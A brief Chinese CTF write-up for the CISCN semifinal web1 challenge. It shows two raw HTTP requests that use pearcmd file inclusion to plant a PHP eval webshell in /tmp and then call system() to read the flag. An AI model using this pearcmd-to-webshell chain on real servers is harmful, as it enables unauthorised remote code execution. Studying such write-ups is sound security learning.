CISCN 半决赛
[TOC]
web
JAVA（赛后复现）
还是不太会，网上也没得解析，比赛的时候好像就是0解。回头问问eki学霸。
web1
pearcmd文件包含，一开始以为是session文件包含竞争，但.php绕不过，卡了好久。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| GET /?+config-create+/&page=../../../tmp/hello&123=system('cat+/hahabsOXYHmRbpFpya5_fIa9'); HTTP/1.1
Host: 39.104.82.208:35149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: XDEBUG_SESSION=XDEBUG_ECLIPSE; PHPSESSID=fsfsfsdfsdf
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Pragma: no-cache
Cache-Control: no-cache
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| GET /?+config-create+/&page=../../../usr/local/lib/php/pearcmd&/<?=eval($_GET[123]);?>+/tmp/hello.php HTTP/1.1
Host: 39.104.82.208:35149
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: XDEBUG_SESSION=XDEBUG_ECLIPSE; PHPSESSID=fsfsfsdfsdf
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Pragma: no-cache
Cache-Control: no-cache
|